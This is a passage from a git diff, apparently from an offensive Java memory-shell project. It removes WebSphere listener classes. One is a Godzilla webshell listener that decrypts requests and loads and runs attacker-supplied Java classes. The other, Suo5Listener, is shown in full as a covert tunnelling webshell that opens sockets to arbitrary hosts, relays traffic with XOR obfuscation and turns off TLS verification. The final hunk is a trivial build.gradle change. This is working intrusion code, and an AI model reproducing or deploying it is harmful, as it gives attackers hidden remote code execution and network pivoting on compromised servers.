getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @SuppressWarnings("all") - public static String base64Encode(byte[] bs) throws Exception { - String value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("deprecation") - public Class Q(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - public byte[] x(byte[] s, boolean m) { - try { - Cipher c = Cipher.getInstance("AES"); - c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); - return c.doFinal(s); - } catch (Exception var4) { - return null; - } - } - - @Override - public void requestDestroyed(ServletRequestEvent servletRequestEvent) { - } - - @Override - @SuppressWarnings("all") - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = this.getResponseFromRequest(request); - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - if (session.getAttribute("payload") == null) { - session.setAttribute( - "payload", - (new GodzillaListener(this.getClass().getClassLoader())).Q(data)); - } else { - request.setAttribute("parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) session.getAttribute("payload")).newInstance(); - f.equals(arrOut); - f.equals(request); - response.getWriter().write(md5.substring(0, 16)); - f.toString(); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); - response.flushBuffer(); - } - } - } catch (Exception ignored) { - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - return (HttpServletResponse) getFieldValue(getFieldValue(request, "_connContext"), "_response"); - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/suo5/Suo5Listener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/suo5/Suo5Listener.java deleted file mode 100644 index bc8fcd60..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/suo5/Suo5Listener.java +++ /dev/null @@ -1,597 +0,0 @@ -package com.reajason.javaweb.memshell.websphere.suo5; - -import javax.net.ssl.*; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.*; -import java.lang.reflect.Field; -import java.net.*; -import java.nio.ByteBuffer; -import java.security.cert.CertificateException; -import java.security.cert.X509Certificate; -import java.util.Enumeration; -import java.util.HashMap; - -/** - * @author ReaJason - * @since 2024/12/15 - */ -public class Suo5Listener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager { - public static String headerName; - public static String headerValue; - public static HashMap addrs = collectAddr(); - public static HashMap ctx = new HashMap(); - - InputStream gInStream; - OutputStream gOutStream; - - public Suo5Listener() { - } - - public Suo5Listener(InputStream in, OutputStream out) { - this.gInStream = in; - this.gOutStream = out; - } - - public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { - int bufferOffset = 0; - while (bufferOffset < b.length) { - int readLength = b.length - bufferOffset; - int readResult = is.read(b, bufferOffset, readLength); - if (readResult == -1) break; - bufferOffset += readResult; - } - } - - public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { - InputStream in = request.getInputStream(); - byte[] data = new byte[32]; - readFull(in, data); - OutputStream out = response.getOutputStream(); - out.write(data); - out.flush(); - } - - - private HashMap newCreate(byte s) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x04}); - m.put("s", new byte[]{s}); - return m; - } - - private HashMap newData(byte[] data) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x01}); - m.put("dt", data); - return m; - } - - private HashMap newDel() { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x02}); - return m; - } - - private HashMap newStatus(byte b) { - HashMap m = new HashMap(); - m.put("s", new byte[]{b}); - return m; - } - - byte[] u32toBytes(int i) { - byte[] result = new byte[4]; - result[0] = (byte) (i >> 24); - result[1] = (byte) (i >> 16); - result[2] = (byte) (i >> 8); - result[3] = (byte) (i /*>> 0*/); - return result; - } - - int bytesToU32(byte[] bytes) { - return ((bytes[0] & 0xFF) << 24) | - ((bytes[1] & 0xFF) << 16) | - ((bytes[2] & 0xFF) << 8) | - ((bytes[3] & 0xFF) << 0); - } - - synchronized void put(String k, Object v) { - ctx.put(k, v); - } - - synchronized Object get(String k) { - return ctx.get(k); - } - - synchronized Object remove(String k) { - return ctx.remove(k); - } - - byte[] copyOfRange(byte[] original, int from, int to) { - int newLength = to - from; - if (newLength < 0) { - throw new IllegalArgumentException(from + " > " + to); - } - byte[] copy = new byte[newLength]; - int copyLength = Math.min(original.length - from, newLength); - // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment - // System.arraycopy(original, from, copy, 0, copyLength); - for (int i = 0; i < copyLength; i++) { - copy[i] = original[from + i]; - } - return copy; - } - - - private byte[] marshal(HashMap m) throws IOException { - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - Object[] keys = m.keySet().toArray(); - for (int i = 0; i < keys.length; i++) { - String key = (String) keys[i]; - byte[] value = (byte[]) m.get(key); - buf.write((byte) key.length()); - buf.write(key.getBytes()); - buf.write(u32toBytes(value.length)); - buf.write(value); - } - - byte[] data = buf.toByteArray(); - ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); - dbuf.putInt(data.length); - // xor key - byte key = (byte) ((Math.random() * 255) + 1); - dbuf.put(key); - for (int i = 0; i < data.length; i++) { - data[i] = (byte) (data[i] ^ key); - } - dbuf.put(data); - return dbuf.array(); - } - - private HashMap unmarshal(InputStream in) throws Exception { - byte[] header = new byte[4 + 1]; // size and datatype - readFull(in, header); - // read full - ByteBuffer bb = ByteBuffer.wrap(header); - int len = bb.getInt(); - int x = bb.get(); - if (len > 1024 * 1024 * 32) { - throw new IOException("invalid len"); - } - byte[] bs = new byte[len]; - readFull(in, bs); - for (int i = 0; i < bs.length; i++) { - bs[i] = (byte) (bs[i] ^ x); - } - HashMap m = new HashMap(); - byte[] buf; - for (int i = 0; i < bs.length - 1; ) { - short kLen = bs[i]; - i += 1; - if (i + kLen >= bs.length) { - throw new Exception("key len error"); - } - if (kLen < 0) { - throw new Exception("key len error"); - } - buf = copyOfRange(bs, i, i + kLen); - String key = new String(buf); - i += kLen; - - if (i + 4 >= bs.length) { - throw new Exception("value len error"); - } - buf = copyOfRange(bs, i, i + 4); - int vLen = bytesToU32(buf); - i += 4; - if (vLen < 0) { - throw new Exception("value error"); - } - - if (i + vLen > bs.length) { - throw new Exception("value error"); - } - byte[] value = copyOfRange(bs, i, i + vLen); - i += vLen; - - m.put(key, value); - } - return m; - } - - private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { - final InputStream reqInputStream = request.getInputStream(); - HashMap dataMap = unmarshal(reqInputStream); - - byte[] action = (byte[]) dataMap.get("ac"); - if (action.length != 1 || action[0] != 0x00) { - resp.setStatus(403); - return; - } - resp.setBufferSize(512); - final OutputStream respOutStream = resp.getOutputStream(); - - // 0x00 create socket - resp.setHeader("X-Accel-Buffering", "no"); - Socket sc; - try { - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - try { - // Cannot convert Integer to int - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - } - sc = new Socket(); - sc.connect(new InetSocketAddress(host, port), 5000); - } catch (Exception e) { - respOutStream.write(marshal(newStatus((byte) 0x01))); - respOutStream.flush(); - respOutStream.close(); - return; - } - - respOutStream.write(marshal(newStatus((byte) 0x00))); - respOutStream.flush(); - resp.flushBuffer(); - - final OutputStream scOutStream = sc.getOutputStream(); - final InputStream scInStream = sc.getInputStream(); - - Thread t = null; - try { - Suo5Listener p = new Suo5Listener(scInStream, respOutStream); - t = new Thread(p); - t.start(); - readReq(reqInputStream, scOutStream); - } catch (Exception e) { -// System.out.printf("pipe error, %s\n", e); - } finally { - sc.close(); - respOutStream.close(); - if (t != null) { - t.join(); - } - } - } - - private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { - byte[] readBuf = new byte[1024 * 8]; - while (true) { - int n = inputStream.read(readBuf); - if (n <= 0) { - break; - } - byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); - if (needMarshal) { - dataTmp = marshal(newData(dataTmp)); - } - outputStream.write(dataTmp); - outputStream.flush(); - } - } - - private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { - while (true) { - HashMap dataMap; - dataMap = unmarshal(bufInputStream); - - byte[] actions = (byte[]) dataMap.get("ac"); - if (actions.length != 1) { - return; - } - byte action = actions[0]; - if (action == 0x02) { - socketOutStream.close(); - return; - } else if (action == 0x01) { - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - socketOutStream.write(data); - socketOutStream.flush(); - } - } else if (action == 0x03) { - continue; - } else { - return; - } - } - } - - private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws - Exception { - InputStream is = request.getInputStream(); - BufferedInputStream reader = new BufferedInputStream(is); - HashMap dataMap; - dataMap = unmarshal(reader); - - - String clientId = new String((byte[]) dataMap.get("id")); - byte[] actions = (byte[]) dataMap.get("ac"); - if (actions.length != 1) { - resp.setStatus(403); - return; - } - /* - ActionCreate byte = 0x00 - ActionData byte = 0x01 - ActionDelete byte = 0x02 - ActionHeartbeat byte = 0x03 - */ - byte action = actions[0]; - byte[] redirectData = (byte[]) dataMap.get("r"); - boolean needRedirect = redirectData != null && redirectData.length > 0; - String redirectUrl = ""; - if (needRedirect) { - dataMap.remove("r"); - redirectUrl = new String(redirectData); - needRedirect = !isLocalAddr(redirectUrl); - } - // load balance, send request with data to request url - // action 0x00 need to pipe, see below - if (needRedirect && action >= 0x01 && action <= 0x03) { - HttpURLConnection conn = redirect(request, dataMap, redirectUrl); - conn.disconnect(); - return; - } - - resp.setBufferSize(512); - OutputStream respOutStream = resp.getOutputStream(); - if (action == 0x02) { - Object o = this.get(clientId); - if (o == null) return; - OutputStream scOutStream = (OutputStream) o; - scOutStream.close(); - return; - } else if (action == 0x01) { - Object o = this.get(clientId); - if (o == null) { - respOutStream.write(marshal(newDel())); - respOutStream.flush(); - respOutStream.close(); - return; - } - OutputStream scOutStream = (OutputStream) o; - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - scOutStream.write(data); - scOutStream.flush(); - } - respOutStream.close(); - return; - } else { - } - - if (action != 0x00) { - return; - } - // 0x00 create new tunnel - resp.setHeader("X-Accel-Buffering", "no"); - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - try { - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - } - - InputStream readFrom; - Socket sc = null; - HttpURLConnection conn = null; - - if (needRedirect) { - // pipe redirect stream and current response body - conn = redirect(request, dataMap, redirectUrl); - readFrom = conn.getInputStream(); - } else { - // pipe socket stream and current response body - try { - sc = new Socket(); - sc.connect(new InetSocketAddress(host, port), 5000); - readFrom = sc.getInputStream(); - this.put(clientId, sc.getOutputStream()); - respOutStream.write(marshal(newStatus((byte) 0x00))); - respOutStream.flush(); - resp.flushBuffer(); - } catch (Exception e) { -// System.out.printf("connect error %s\n", e); -// e.printStackTrace(); - this.remove(clientId); - respOutStream.write(marshal(newStatus((byte) 0x01))); - respOutStream.flush(); - respOutStream.close(); - return; - } - } - try { - readSocket(readFrom, respOutStream, !needRedirect); - } catch (Exception e) { -// System.out.println("socket error " + e.toString()); -// e.printStackTrace(); - } finally { - if (sc != null) { - sc.close(); - } - if (conn != null) { - conn.disconnect(); - } - respOutStream.close(); - this.remove(clientId); - } - } - - public void run() { - try { - readSocket(gInStream, gOutStream, true); - } catch (Exception e) { -// System.out.printf("read socket error, %s\n", e); -// e.printStackTrace(); - } - } - - static HashMap collectAddr() { - HashMap addrs = new HashMap(); - try { - Enumeration nifs = NetworkInterface.getNetworkInterfaces(); - while (nifs.hasMoreElements()) { - NetworkInterface nif = (NetworkInterface) nifs.nextElement(); - Enumeration addresses = nif.getInetAddresses(); - while (addresses.hasMoreElements()) { - InetAddress addr = (InetAddress) addresses.nextElement(); - String s = addr.getHostAddress(); - if (s != null) { - // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 - int ifaceIndex = s.indexOf('%'); - if (ifaceIndex != -1) { - s = s.substring(0, ifaceIndex); - } - addrs.put((Object) s, (Object) Boolean.TRUE); - } - } - } - } catch (Exception e) { -// System.out.printf("read socket error, %s\n", e); -// e.printStackTrace(); - } - return addrs; - } - - boolean isLocalAddr(String url) throws Exception { - String ip = (new URL(url)).getHost(); - return addrs.containsKey(ip); - } - - HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { - String method = request.getMethod(); - URL u = new URL(rUrl); - HttpURLConnection conn = (HttpURLConnection) u.openConnection(); - conn.setRequestMethod(method); - try { - // conn.setConnectTimeout(3000); - conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); - // conn.setReadTimeout(0); - conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); - } catch (Exception e) { - // java1.4 - } - conn.setDoOutput(true); - conn.setDoInput(true); - - // ignore ssl verify - // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java - if (HttpsURLConnection.class.isInstance(conn)) { - ((HttpsURLConnection) conn).setHostnameVerifier(this); - SSLContext sslCtx = SSLContext.getInstance("SSL"); - sslCtx.init(null, new TrustManager[]{this}, null); - ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); - } - - byte[] newBody = marshal(dataMap); - Enumeration headers = request.getHeaderNames(); - while (headers.hasMoreElements()) { - String k = (String) headers.nextElement(); - if (k.equals("Content-Length")) { - conn.setRequestProperty(k, String.valueOf(newBody.length)); - continue; - } else if (k.equals("Host")) { - conn.setRequestProperty(k, u.getHost()); - continue; - } else if (k.equals("Connection")) { - conn.setRequestProperty(k, "close"); - continue; - } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { - continue; - } else { - conn.setRequestProperty(k, request.getHeader(k)); - } - } - - OutputStream rout = conn.getOutputStream(); - rout.write(newBody); - rout.flush(); - rout.close(); - conn.getResponseCode(); - return conn; - } - - public boolean verify(String hostname, SSLSession session) { - return true; - } - - public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public X509Certificate[] getAcceptedIssuers() { - return new X509Certificate[0]; - } - - @Override - public void requestDestroyed(ServletRequestEvent sre) { - - } - - @Override - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = getResponseFromRequest(request); - String contentType = request.getContentType(); - if (contentType == null) { - return; - } - try { - if (contentType.equals("application/plain")) { - tryFullDuplex(request, response); - return; - } - - if (contentType.equals("application/octet-stream")) { - processDataBio(request, response); - } else { - processDataUnary(request, response); - } - } catch (Throwable e) { -// System.out.printf("process data error %s\n", e); -// e.printStackTrace(); - } - } - } catch (Exception ignored) { - } - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - return (HttpServletResponse) getFieldValue(getFieldValue(request, "_connContext"), "_response"); - } -} diff --git a/vul/vul-springboot2/build.gradle b/vul/vul-springboot2/build.gradle index 9608402f..875c4f3e 100644 --- a/vul/vul-springboot2/build.gradle +++ b/vul/vul-springboot2/build.gradle @@ -23,6 +23,6 @@ dependencies { testImplementation 'org.springframework.boot:spring-boot-starter-test' } -tasks.named('test') { +test { useJUnitPlatform() }